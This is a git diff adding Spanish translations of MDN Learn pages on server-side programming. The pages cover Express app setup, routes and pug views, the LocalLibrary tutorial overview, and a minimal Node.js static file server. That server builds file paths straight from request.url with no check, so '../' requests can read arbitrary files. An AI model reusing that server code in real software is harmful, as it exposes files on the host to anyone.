+<p><strong>Note:</strong> En este punto, acabamos de importar el módulo; aún no hemos utilizado sus rutas (esto sucede un poco más abajo en el archivo).</p>
+</div>
+
+<p>Next we create the <code>app</code> object using our imported <em>express</em> module, and then use it to set up the view (template) engine. There are two parts to setting up the engine. First we set the '<code>views</code>' value to specify the folder where the templates will be stored (in this case the sub folder <strong>/views</strong>). Then we set the '<code>view engine</code>' value to specify the template library (in this case "pug").</p>
+
+<pre class="brush: js notranslate">var app = express();
+
+// view engine setup
+app.set('views', path.join(__dirname, 'views'));
+app.set('view engine', 'pug');
+</pre>
+
+<p>The next set of functions call <code>app.use()</code> to add the <em>middleware</em> libraries into the request handling chain. In addition to the 3rd party libraries we imported previously, we use the <code>express.static</code> middleware to get <em>Express</em> to serve all the static files in the <strong>/public</strong> directory in the project root.</p>
+
+<pre class="brush: js notranslate">// uncomment after placing your favicon in /public
+//app.use(favicon(path.join(__dirname, 'public', 'favicon.ico')));
+app.use(logger('dev'));
+app.use(bodyParser.json());
+app.use(bodyParser.urlencoded({ extended: false }));
+app.use(cookieParser());
+<strong>app.use(express.static(path.join(__dirname, 'public')));</strong>
+</pre>
+
+<p>Now that all the other middleware is set up, we add our (previously imported) route-handling code to the request handling chain. The imported code will define particular routes for the different <em>parts</em> of the site:</p>
+
+<pre class="brush: js notranslate">app.use('/', index);
+app.use('/users', users);
+</pre>
+
+<div class="note">
+<p><strong>Note:</strong> The paths specified above ('/' and '<code>/users'</code>) are treated as a prefix to routes defined in the imported files. So for example if the imported <strong>users</strong> module defines a route for <code>/profile</code>, you would access that route at <code>/users/profile</code>. We'll talk more about routes in a later article.</p>
+</div>
+
+<p id="error_handling">The last middleware in the file adds handler methods for errors and HTTP 404 responses.</p>
+
+<pre class="brush: js notranslate">// catch 404 and forward to error handler
+app.use(function(req, res, next) {
+  var err = new Error('Not Found');
+  err.status = 404;
+  next(err);
+});
+
+// error handler
+app.use(function(err, req, res, next) {
+  // set locals, only providing error in development
+  res.locals.message = err.message;
+  res.locals.error = req.app.get('env') === 'development' ? err : {};
+
+  // render the error page
+  res.status(err.status || 500);
+  res.render('error');
+});
+</pre>
+
+<p>The Express application object (app) is now fully configured. The last step is to add it to the module exports (this is what allows it to be imported by <strong>/bin/www</strong>).</p>
+
+<pre class="brush: js notranslate">module.exports = app;</pre>
+
+<h3 id="Routes">Routes</h3>
+
+<p>The route file <strong>/routes/users.js</strong> is shown below (route files share a similar structure, so we don't need to also show <strong>index.js</strong>). First it loads the <em>express</em> module, and uses it to get an <code>express.Router</code> object. Then it specifies a route on that object, and lastly exports the router from the module (this is what allows the file to be imported into <strong>app.js</strong>).</p>
+
+<pre class="brush: js notranslate">var express = require('express');
+var router = express.Router();
+
+/* GET users listing. */
+<strong>router.get('/', function(req, res, next) {
+  res.send('respond with a resource');
+});</strong>
+
+module.exports = router;
+</pre>
+
+<p>The route defines a callback that will be invoked whenever an HTTP <code>GET</code> request with the correct pattern is detected. The matching pattern is the route specified when the module is imported ('<code>/users</code>') plus whatever is defined in this file ('<code>/</code>'). In other words, this route will be used when an URL of <code>/users/</code> is received.</p>
+
+<div class="note">
+<p><strong>Tip:</strong> Try this out by running the server with node and visiting the URL in your browser: <a href="http://localhost:3000/users/">http://localhost:3000/users/</a>. You should see a message: 'respond with a resource'.</p>
+</div>
+
+<p>One thing of interest above is that the callback function has the third argument '<code>next</code>', and is hence a middleware function rather than a simple route callback. While the code doesn't currently use the <code>next</code> argument, it may be useful in the future if you want to add multiple route handlers to the <code>'/'</code> route path.</p>
+
+<h3 id="Views_templates">Views (templates)</h3>
+
+<p>The views (templates) are stored in the <strong>/views</strong> directory (as specified in <strong>app.js</strong>) and are given the file extension <strong>.pug</strong>. The method <code><a href="http://expressjs.com/en/4x/api.html#res.render">Response.render()</a></code> is used to render a specified template along with the values of named variables passed in an object, and then send the result as a response. In the code below from <strong>/routes/index.js</strong> you can see how that route renders a response using the template "index" passing the template variable "title".</p>
+
+<pre class="brush: js notranslate">/* GET home page. */
+router.get('/', function(req, res) {
+  res.render('index', { title: 'Express' });
+});
+</pre>
+
+<p>The corresponding template for the above route is given below (<strong>index.pug</strong>). We'll talk more about the syntax later. All you need to know for now is that the <code>title</code> variable (with value <code>'Express'</code>) is inserted where specified in the template.</p>
+
+<pre class="notranslate">extends layout
+
+block content
+  h1= title
+  p Welcome to #{title}
+</pre>
+
+<h2 id="Challenge_yourself">Challenge yourself</h2>
+
+<p>Create a new route in <strong>/routes/users.js</strong> that will display the text "<em>You're so cool"</em> at URL <code>/users/cool/</code>. Test it by running the server and visiting <a href="http://localhost:3000/users/cool/">http://localhost:3000/users/cool/</a> in your browser</p>
+
+<ul>
+</ul>
+
+<h2 id="Summary">Summary</h2>
+
+<p>You have now created a skeleton website project for the <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Local Library</a> and verified that it runs using <em>node</em>. Most important, you also understand how the project is structured, so you have a good idea where we need to make changes to add routes and views for our local library.</p>
+
+<p>Next we'll start modifying the skeleton so that works as a library website.</p>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="https://expressjs.com/en/starter/generator.html">Express application generator</a> (Express docs)</li>
+ <li><a href="https://expressjs.com/en/guide/using-template-engines.html">Using template engines with Express</a> (Express docs)</li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/Tutorial_local_library_website", "Learn/Server-side/Express_Nodejs/mongoose", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/es/learn/server-side/express_nodejs/tutorial_local_library_website/index.html b/files/es/learn/server-side/express_nodejs/tutorial_local_library_website/index.html
new file mode 100644
index 0000000000..825cc0c8c0
--- /dev/null
+++ b/files/es/learn/server-side/express_nodejs/tutorial_local_library_website/index.html
@@ -0,0 +1,83 @@
+---
+title: 'Express Tutorial: The Local Library website'
+slug: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website
+translation_of: Learn/Server-side/Express_Nodejs/Tutorial_local_library_website
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</div>
+
+<p class="summary"><span id="result_box" lang="es"><span>El primer artículo de nuestra serie de tutoriales prácticos explica lo que aprenderá y proporciona una descripción general del sitio web de ejemplo de la "biblioteca local" en el que trabajaremos y evolucionaremos en artículos posteriores.</span></span></p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Leer la <a href="/es/docs/Learn/Server-side/Express_Nodejs/Introduction">Introducción a Express</a>. <span id="result_box" lang="es"><span>Para los siguientes artículos, también deberá haber </span></span><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">configurado un entorno de desarrollo de Node</a>. </td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td><span id="result_box" lang="es"><span>Presentar la aplicación de ejemplo utilizada en este tutorial, y permitir a los lectores comprender qué temas se tratarán.</span></span></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Visión_General">Visión General</h2>
+
+<p><span id="result_box" lang="es"><span>Bienvenido al tutorial de MDN "Biblioteca Local" </span></span><span lang="es"><span>Express (Node), en el cual desarrollamos un sitio web que podría usarse para administrar el catálogo de una biblioteca local.</span><br>
+ <br>
+ <span>En esta serie de artículos tutoriales, usted:</span></span></p>
+
+<ul>
+ <li><span lang="es"><span>Usará la herramienta </span></span><em>Express Application Generator</em><span lang="es"><span> para crear un sitio web esquemático y una aplicación. </span></span></li>
+ <li><span lang="es"><span>Iniciará y detendrá el servidor web Node</span></span>.</li>
+ <li><span lang="es"><span>Usará una base de datos para almacenar los datos de la aplicación</span></span>.</li>
+ <li><span lang="es"><span>Creará rutas para solicitar diferente información y plantillas ("vistas") para representar los datos como HTML para que se muestren en el navegador</span></span></li>
+ <li><span lang="es"><span>Trabajará con formularios</span></span></li>
+ <li><span lang="es"><span>Implementará su aplicación en producción</span></span></li>
+</ul>
+
+<p><span id="result_box" lang="es"><span>Ya se ha aprendido sobre algunos de estos temas y se ha referido brevemente a otros.</span> <span>Al final de la serie de tutoriales, debe saber lo suficiente como para desarrollar aplicaciones Express simples usted mismo.</span></span></p>
+
+<h2 id="The_LocalLibrary_website">The LocalLibrary website</h2>
+
+<p><em>LocalLibrary</em> es el nombre del website que vamos a desarrollar en esta serie de tutoriales. Tal como esperas, el objetivo del website es proveer un catalogo online para una pequeña libreria, donde los usuarios exploren los libros disponibles y administren sus cuentas.</p>
+
+<p>Este ejemplo ha sido cuidadosamente elegido porque puede escalarse para mostrar tantos o pocos detalles como necesitemos, de igual forma puede usarse para presentar casi todas las caracteristicas de Express. Mas importante aún, nos permite proporcionar una ruta guiada a traves de la funcionalidad que necesita cualquier sitio web:</p>
+
+<ul>
+ <li>En los primeros articulos definiremos una biblioteca simple, <em>unicamente de navegacion, </em>que los miembros de la biblioteca usaran para saber que libros estan disponibles. Esto permite explorar las operationes mas comunes de los sitios web: lectura y presentacion de contenido de una base de datos.</li>
+ <li>A medida que avancemos, el ejemplo de la biblioteca se extenderá naturalmente para mostrar las caracteristicas mas avanzadas del sitio web. Por ejemplo, podemos extender la biblioteca para que se creen nuevos libros, de esta manera conoceremos como usar los formularios (forms) y la autenticacion de usuarios.</li>
+</ul>
+
+<p>Aunque este ejemplo se puede extender mucho mas, se llama LocalLibrary por una razón , esperamos mostrar informacion minima que le ayudara a comenzar a utilizar Express rapidamente. Como resultado, almacenaremos informacion acerca de libros, copias de libros, autores y otra informacion clave. Sin embargo, no almacenaremos informacion sobre otros elementos que una biblioteca pueda tener, o proveer la infraestructura necesaria para soportar multiples sitios u otras caracteristicas de grandes bibliotecas.  </p>
+
+<h2 id="Estoy_atascado_donde_puedo_obtener_el_codigo_fuente">Estoy atascado, donde puedo obtener el codigo fuente?</h2>
+
+<p>A medida que avance, le proporcionaremos los fragmentos de codigo adecuado para que usted los copie y pegue en cada punto, ademas, habrá otro código con el proposito de que usted lo complete para afianzar su conocimiento (con alguna orientacion).</p>
+
+<p>Si aun asi sigues atasaco, puedes encontrar la version completamente desarrollada del sitio web <a href="https://github.com/mdn/express-locallibrary-tutorial">en Github aqui</a>.</p>
+
+<div class="note">
+<p><strong>Note:</strong> Las versiones especificas de node, Express, y los otros modulos con los que se probó esta documentación estan enumeradas en el projecto <a href="https://github.com/mdn/express-locallibrary-tutorial/blob/master/package.json">package.json</a>.</p>
+</div>
+
+<h2 id="Summary">Summary</h2>
+
+<p>Ahora que sabes un poco mas del sitio web <em>LocalLIbrary</em> y lo que vas a aprender, es tiempo de comenzar a crear un <a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">skeleton project</a>o para contener nuestro ejemplo.</p>
+
+<p>{{PreviousMenuNext("Learn/Server-side/Express_Nodejs/development_environment", "Learn/Server-side/Express_Nodejs/skeleton_website", "Learn/Server-side/Express_Nodejs")}}</p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Introduction">Express/Node introduction</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/development_environment">Setting up a Node (Express) development environment</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Tutorial_local_library_website">Express Tutorial: The Local Library website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/skeleton_website">Express Tutorial Part 2: Creating a skeleton website</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/mongoose">Express Tutorial Part 3: Using a Database (with Mongoose)</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/routes">Express Tutorial Part 4: Routes and controllers</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/Displaying_data">Express Tutorial Part 5: Displaying library data</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/forms">Express Tutorial Part 6: Working with forms</a></li>
+ <li><a href="/en-US/docs/Learn/Server-side/Express_Nodejs/deployment">Express Tutorial Part 7: Deploying to production</a></li>
+</ul>
diff --git a/files/es/learn/server-side/index.html b/files/es/learn/server-side/index.html
new file mode 100644
index 0000000000..e22f39084f
--- /dev/null
+++ b/files/es/learn/server-side/index.html
@@ -0,0 +1,57 @@
+---
+title: Programación lado servidor
+slug: Learn/Server-side
+tags:
+  - Aprendizaje
+  - Aterrizaje
+  - Codificación de scripts
+  - Principiante
+  - Programación lado servidor
+  - Servidor
+  - Tema
+  - introducción
+translation_of: Learn/Server-side
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">El tema<strong><em> Páginas Dinámicas </em></strong>–<em><strong> Programación lado servidor </strong></em>contiene una serie de módulos en los que se enseña como crear sitios web dinámicos, sitios que entregan información personalizada como respuesta a las peticiones HTTP. El modulo ofrece una introducción generica a la programación de lado servidor además de guías para principiantes sobre como usar frameworks como Django (Python) y Express(Node.js/JavaScript) para crear aplicaciones web basicas.</p>
+
+<p>La mayoría de los principales sitios web utilizan alguna forma de tecnología de lado servidor para presentar dinámicamente datos cuando sean requeridos. Por ejemplo, imagina cuántos productos están disponibles en Amazon e imagina cuántas entradas han sido escritas en Facebook. Presentar todo esto usando páginas estáticas completamente diferentes sería completamente ineficiente, por lo que estos sitios en lugar de ello presentan plantillas estáticas (construidas usando <a href="/en-US/docs/Learn/HTML">HTML</a>, <a href="/en-US/docs/Learn/CSS">CSS</a>, y <a href="/en-US/docs/Learn/JavaScript">JavaScript</a>), y actualizan dinámicamente los datos presentados dentro de esas plantillas cuando se necesiten, ej. cuando quieres ver un producto diferente en Amazon.</p>
+
+<p>En el mundo moderno del desarrollo web, el aprendizaje del desarrollo de lado servidor es altamente recomendado.</p>
+
+<h2 id="Itinerario_de_aprendizaje">Itinerario de aprendizaje</h2>
+
+<p>Empezar con la programación lado servidor es normalmente más fácil que con el desarrollo del lado cliente, ya que los sitios web dinámicos tienden a efectuar un montón de operaciones muy similares (recuperar datos de una base y presentarlos en una página, validar datos introducidos por los usuarios y guardarlos en la base, comprobar los permisos e inicios de sesión de los usuarios, etc.), y se construyen usando web frameworks que hacen muy facilmente éstas y otras operaciones comunes en un servidor web.</p>
+
+<p>Un conocimiento básico de conceptos de programación (o de un lenguaje de programación en particular) es útil, pero no imprescindible. Igualmente, no hace falta ser un experto en codificación lado cliente, pero un conocimiento básico te ayudará a trabajar mejor con los desarrolladores creando tu "front-end" de web lado cliente.</p>
+
+<p>Necesitarás entender "cómo tabaja la web". Te recomendamos que leas primero los siguientes temas:</p>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/Common_questions/What_is_a_web_server">¿Qué es un servidor web?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">¿Qué software necesito para construir un sitio web?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">¿Cómo subo ficheros a un servidor web?</a></li>
+</ul>
+
+<p>Con ese conocimiento básico estarás preparado para recorrer el camino a través de los módulos de esta sección.</p>
+
+<h2 id="Módulos">Módulos</h2>
+
+<p>Este tema contiene los siguientes módulos. Deberías comenzar por el primer módulo y a continuación  ir a uno de los módulos siguientes, que muestran cómo trabajar con dos lenguajes muy populares de lado servidor usando los web frameworks adecuados.</p>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos">Primeros pasos en la programación lado servidor de sitios web</a></dt>
+ <dd>Este módulo proporciona información acerca de la programación lado servidor de sitios web sin adentrarse en la tecnología de los servidores, incluyendo respuestas a las preguntas a cuestiones fundamentales acerca de la programación de lado servidor — "¿qué es?", "¿en qué se diferencia de la programación de lado cliente?" y "¿porqué es tan útil?" — y una visión general de algunos de los web frameworks de lado servidor más populares e indicaciones de cómo seleccionar el más adecuado para tu sitio. Finalmente proporcionaremos una sección de introducción a la seguridad en servidores web.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Django">Django Web Framework (Python)</a></dt>
+ <dd>Django es un web framework extremadamete popular y con funcionalidad completa, escrito en Python. El módulo explica porqué Django es tan buen framework de servidor web, cómo configurar un entorno de desarrollo y cómo realizar tareas comunes con él.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Express_Nodejs">Express Web Framework (Node.js/JavaScript)</a></dt>
+ <dd>Express es un web framework popular, escrito en JavaScript y hospedado dentro del entorno de ejecución en tiempo real "node.js". El módulo explica algunos de los beneficios clave de este framework, cómo configurar tu entorno de desarrollo y cómo realizar tareas comunes de desarrollo y despliegue web.</dd>
+</dl>
+
+<h2 id="Ver_también">Ver también</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Node_server_without_framework">Node servidor sin framework</a></dt>
+ <dd>Este artículo proporciona un servidor de ficheros estático, construido con Node.js puro, para aquellos de vosotros que no os apetezca usar un framework.</dd>
+</dl>
diff --git a/files/es/learn/server-side/node_server_without_framework/index.html b/files/es/learn/server-side/node_server_without_framework/index.html
new file mode 100644
index 0000000000..11826d3e73
--- /dev/null
+++ b/files/es/learn/server-side/node_server_without_framework/index.html
@@ -0,0 +1,81 @@
+---
+title: Servidor Node sin framework
+slug: Learn/Server-side/Node_server_without_framework
+translation_of: Learn/Server-side/Node_server_without_framework
+---
+<div>{{LearnSidebar}}</div>
+
+<p class="summary">Este artículo proporciona un servidor de ficheros estático simple construido con Node.js puro, para aquellos de vosotros que no quieran usar un framework.</p>
+
+<p><a href="https://nodejs.org/en/">NodeJS</a> has many frameworks to help you get your server up and running, the most popular being:</p>
+
+<ul>
+ <li><a href="http://expressjs.com/">Express</a>: The most used framework.</li>
+ <li><a href="https://www.totaljs.com/">Total</a>: The all-in-one Node.js framework that has everything and does not depend on any other framework or module.</li>
+</ul>
+
+<p>There is however not a solution that will suit every situation. A developer may need to build his/her own server, without any other dependency.</p>
+
+<h2 id="Example">Example</h2>
+
+<p>Below is a simple static file server built with NodeJS:</p>
+
+<pre class="brush: js">var http = require('http');
+var fs = require('fs');
+var path = require('path');
+
+http.createServer(function (request, response) {
+    console.log('request ', request.url);
+
+    var filePath = '.' + request.url;
+    if (filePath == './') {
+        filePath = './index.html';
+    }
+
+    var extname = String(path.extname(filePath)).toLowerCase();
+    var contentType = 'text/html';
+    var mimeTypes = {
+        '.html': 'text/html',
+        '.js': 'text/javascript',
+        '.css': 'text/css',
+        '.json': 'application/json',
+        '.png': 'image/png',
+        '.jpg': 'image/jpg',
+        '.gif': 'image/gif',
+        '.wav': 'audio/wav',
+        '.mp4': 'video/mp4',
+        '.woff': 'application/font-woff',
+        '.ttf': 'application/font-ttf',
+        '.eot': 'application/vnd.ms-fontobject',
+        '.otf': 'application/font-otf',
+        '.svg': 'application/image/svg+xml'
+    };
+
+    contentType = mimeTypes[extname] || 'application/octet-stream';
+
+    fs.readFile(filePath, function(error, content) {
+        if (error) {
+            if(error.code == 'ENOENT'){
+                fs.readFile('./404.html', function(error, content) {
+                    response.writeHead(200, { 'Content-Type': contentType });
+                    response.end(content, 'utf-8');
+                });
+            }
+            else {
+                response.writeHead(500);
+                response.end('Sorry, check with the site admin for error: '+error.code+' ..\n');
+                response.end();
+            }
+        }
+        else {
+            response.writeHead(200, { 'Content-Type': contentType });
+            response.end(content, 'utf-8');
+        }
+    });
+
+}).listen(8125);
+console.log('Server running at http://127.0.0.1:8125/');</pre>
+
+<h2 id="To_do">To do</h2>
+
+<p>It would be nice to extend this article to explain how the above code works, and perhaps also show an extended version that serves static files and also handles some kind of dynamic requests too.</p>
diff --git a/files/es/learn/server-side/primeros_pasos/index.html b/files/es/learn/server-side/primeros_pasos/index.html
new file mode 100644
index 0000000000..19a5454b4b
--- /dev/null
+++ b/files/es/learn/server-side/primeros_pasos/index.html
@@ -0,0 +1,47 @@
+---
+title: Primeros Pasos en la Programación de Lado-Servidor
+slug: Learn/Server-side/Primeros_pasos
+tags:
+  - Aprendizaje
+  - Aterrizaje
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Programación lado servidor
+  - introducción
+translation_of: Learn/Server-side/First_steps
+---
+<div>{{LearnSidebar}}</div>
+
+<p>En este, nuestro módulo sobre programación de Lado-Servidor, contestaremos a unas pocas preguntas fundamentales - "¿Qué es?", "¿En qué se diferencia de la programación de Lado-Cliente?" y "¿Porqué es tan útil?". Proporcionaremos un vistazo de algunos de los "web-frameworks" de lado-servidor más populares, junto con indicaciones de cómo seleccionar el framework más adecuado para crear tu primer sitio. Finalmente proporcionaremos un artículo introductorio de alto nivel sobre seguridad en el servidor web. </p>
+
+<h2 id="Prerequisitos">Prerequisitos</h2>
+
+<p>Antes de comenzar este módulo no necesitas tener ningún conocimiento de programación de sitios web de lado-servidor, y tampoco de ningún otro tipo de programación.</p>
+
+<p>Necesitarás entender "cómo funciona la web". Te recomendamos que leas primero los siguientes temas:</p>
+
+<ul>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_is_a_web_server">Qué es un servidor web</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/What_software_do_I_need">¿Qué software necesito para construir un sitio web?</a></li>
+ <li><a href="/en-US/docs/Learn/Common_questions/Upload_files_to_a_web_server">¿Cómo se suben los ficheros a un servidor web?</a></li>
+</ul>
+
+<p>Con este conocimiento básico estarás listo para recorrer el camino a través de los módulos de esta sección.</p>
+
+<h2 id="Guías">Guías</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Introducci%C3%B3n">Introducción al lado servidor</a></dt>
+ <dd>¡Bienvenidos al curso MDN de programación para principiantes de lado servidor! En este primer artículo enfocamos la programación de Lado-Servidor desde un nivel alto, respondiendo a preguntas tales como "¿qué es?", "¿en qué se diferencia de la programación de Lado-Cliente?" y "¿porqué es tan útil?". Después de leer este artículo entenderás el poder adicional para los sitios web <span style='background-color: transparent; color: #333333; display: inline !important; float: none; font-family: "Open Sans",arial,x-locale-body,sans-serif; font-size: 16px; font-style: normal; font-variant: normal; font-weight: 400; letter-spacing: normal; text-align: left; text-decoration: none; text-indent: 0px; text-transform: none; white-space: normal;'>disponible </span>a través de la codificación lado-servidor.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Vision_General_Cliente_Servidor">Visión general Cliente-Servidor</a></dt>
+ <dd>Ahora que conoces el propósito y beneficios potenciales de la programación lado-servidor examinaremos en detalle qué pasa cuando un servidor recibe una "petición dinámica" desde un explorador web. Como el código de lado-servidor de la mayoría de sitios web gestiona las peticiones y las respuestas de forma similar, ésto te ayudará entender qué necesitas hacer cuando escribes tu propio código.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/Web_frameworks">Web frameworks de lado-servidor</a></dt>
+ <dd>El anterior artículo te mostró lo que necesita una aplicación web de lado servidor para responder a las peticiones de un explorador web. Ahora te mostraremos cómo los web frameworks pueden simplificar estas tareas y ayudarte a seleccionar el framework correcto para tu primera aplicación web de lado servidor.</dd>
+ <dt><a href="https://developer.mozilla.org/es/docs/Learn/Server-side/Primeros_pasos/seguridad_sitios_web">Seguridad de Sitios Web</a></dt>
+ <dd>La seguridad de los sitios web requiere vigilancia en todos los aspectos del diseño y uso del sitio . Este artículo introductorio no te convertirá en un gurú de la seguridad de sitios web, pero te ayudará a entender los primeros pasos importantes que deber dar para robustecer tu aplicación web contra las amenazas más comunes.</dd>
+</dl>
+
+<h2 id="Evaluaciones">Evaluaciones</h2>
+
+<p>Este módulo "visión general" no hace ninguna evaluación ya que no te hemos enseñado ningún código todavía. Esperamos que en este punto tengas una comprensión de qué clase de funcionalidad puedes distribuir usando programación de lado servidor y habrás tomado una decisión sobre el web framework de lado servidor que usarás para crear tu primer sitio. </p>
diff --git a/files/es/learn/server-side/primeros_pasos/introducción/index.html b/files/es/learn/server-side/primeros_pasos/introducción/index.html
new file mode 100644
index 0000000000..0b0d2da59e
--- /dev/null
+++ b/files/es/learn/server-side/primeros_pasos/introducción/index.html
@@ -0,0 +1,192 @@
+---
+title: Introducción al lado servidor
+slug: Learn/Server-side/Primeros_pasos/Introducción
+tags:
+  - Aprendizaje
+  - Codificación de scripts
+  - Guía
+  - Principiante
+  - Programación lado servidor
+  - Servidor
+  - introducción
+translation_of: Learn/Server-side/First_steps/Introduction
+---
+<div>{{LearnSidebar}}</div>
+
+<div>{{NextMenu("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps")}}</div>
+
+<p class="summary">¡Bienvenidos al curso MDN de programación para principiantes de lado servidor! En este primer artículo enfocamos la programación de Lado-Servidor desde un nivel alto, respondiendo a preguntas tales como "¿qué es?", "¿en qué se diferencia de la programación de Lado-Cliente?" y "¿porqué es tan útil?". Después de leer este artículo entenderás el poder adicional para los sitios web disponible a través de la codificación lado-servidor.</p>
+
+<table class="learn-box standard-table">
+ <tbody>
+  <tr>
+   <th scope="row">Prerequisitos:</th>
+   <td>Nociones básicas de computación. Entender lo que es un servidor web.</td>
+  </tr>
+  <tr>
+   <th scope="row">Objetivo:</th>
+   <td>Familiarizarse con lo que es la programación de lado servidor, qué puede hacer y en qué se diferencia de la programación de lado cliente.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>La mayoría de los grandes sitios web usan código de lado servidor para presentar, cuando se necesitan, diferentes datos, generalmente extraidos de una base de datos almacenada en un servidor y enviada al cliente para ser presentada mediante algún código (ej, HTML y JavaScript). Quizá el beneficio más significativo de la codificación de lado servidor es que te permite confeccionar el contenido del sitio web para usuarios individuales. Los sitios dinámicos pueden resaltar contenido que es más relevante basándose en las preferencias del usuario y sus hábitos. Puede hacer también que los sitios sean más fáciles de usar al almacenar las preferencias personales y la información - por ejemplo reusando los detalles de la tarjeta de crédito guardados para agilizar los pagos siguientes. Puede incluso permitir la interacción con los usuarios fuera del sitio, enviando notificaciones y actualizaciones via email o a traves de otros canales. Todas estas capacidades permite un mayor compromiso con los usuarios. </p>
+
+<p>En el mundo moderno del desarrollo web, el aprendizaje sobre desarrollo de lado servidor es altamente recomendable.</p>
+
+<h2 id="¿Qué_es_la_programación_de_sitios_web_de_lado_servidor">¿Qué es la programación de sitios web de lado servidor?</h2>
+
+<p>Los exploradores web se comunican con los <a href="/es-ES/docs/Learn/Common_questions/What_is_a_web_server">servidores web</a> usando el Protocolo de Transporte de Hyper Texto (HyperText Transport Protocol ({{glossary("HTTP")}}). Cuando pinchas en un enlace en una página web, envías un formulario o ejecutas una búsqueda, se envía una peticion HTTP desde tu explorador web al servidor web de destino. La petición incluye un URL que identifica el recurso afectado, un método que define la acción requerida (por ejemplo, obtener, borrar o publicar el recurso), y puede incluir información adicional codificada en parámetros en el URL (los pares campo-valor enviados en una cadena de consulta (<a href="https://en.wikipedia.org/wiki/Query_string">query string</a>), como datos POST (datos enviados mediate el método POST de HTTP,  <a href="/es/docs/Web/HTTP/Methods/POST">HTTP POST method</a>), o en {{glossary("Cookie", "associated cookies")}}.</p>
+
+<p>Los servidores web esperan los mensajes de petición de los clientes, los procesan cuando llegan y responden al explorador web con un mensaje de respuesta HTTP. La repuesta contiene una línea de estado indicando si la petición ha tenido éxito o no (ej, "HTTP/1.1 200 OK" en caso de éxito). El cuerpo de una respuesta exitosa a una petición podría contener el resurso solicitado (ej, una nueva página HTML, o una imagen, etc...), que el explorador web podría presetar en pantalla.</p>
+
+<h3 id="Sitios_Estáticos">Sitios Estáticos</h3>
+
+<p>El diagrama de abajo muestra una arquitectura de servidor web básica correspondiente a un <em>sitio estático</em> (un sitio estático es aquél que devuelve desde el servidor el mismo contenido insertado en el código "hard coded" siempre que se solicita un recurso en particular). Cuando un usuario quiere navegar a una página, el explorador envía una petición HTTP "GET" especificando su URL. El servidor recupera de su sistema de ficheros el documento solicitado y devuelve una respuesta HTTP que contiene el documento y un <a href="/es/docs/Web/HTTP/Status#Successful_responses">estado de éxito "success status</a>" (normalmente 200 OK). Si el fichero no puede ser recuperado por alguna razón, se devuelve un estado de error (ver <a href="/es/docs/Web/HTTP/Status#Client_error_responses">respuestas de error del cliente</a> and <a href="/es/docs/Web/HTTP/Status#Server_error_responses">respuestas de error del servidor</a>).</p>
+
+<p><img alt="A simplified diagram of a static web server." src="https://mdn.mozillademos.org/files/13841/Basic%20Static%20App%20Server.png" style="height: 223px; width: 800px;"></p>
+
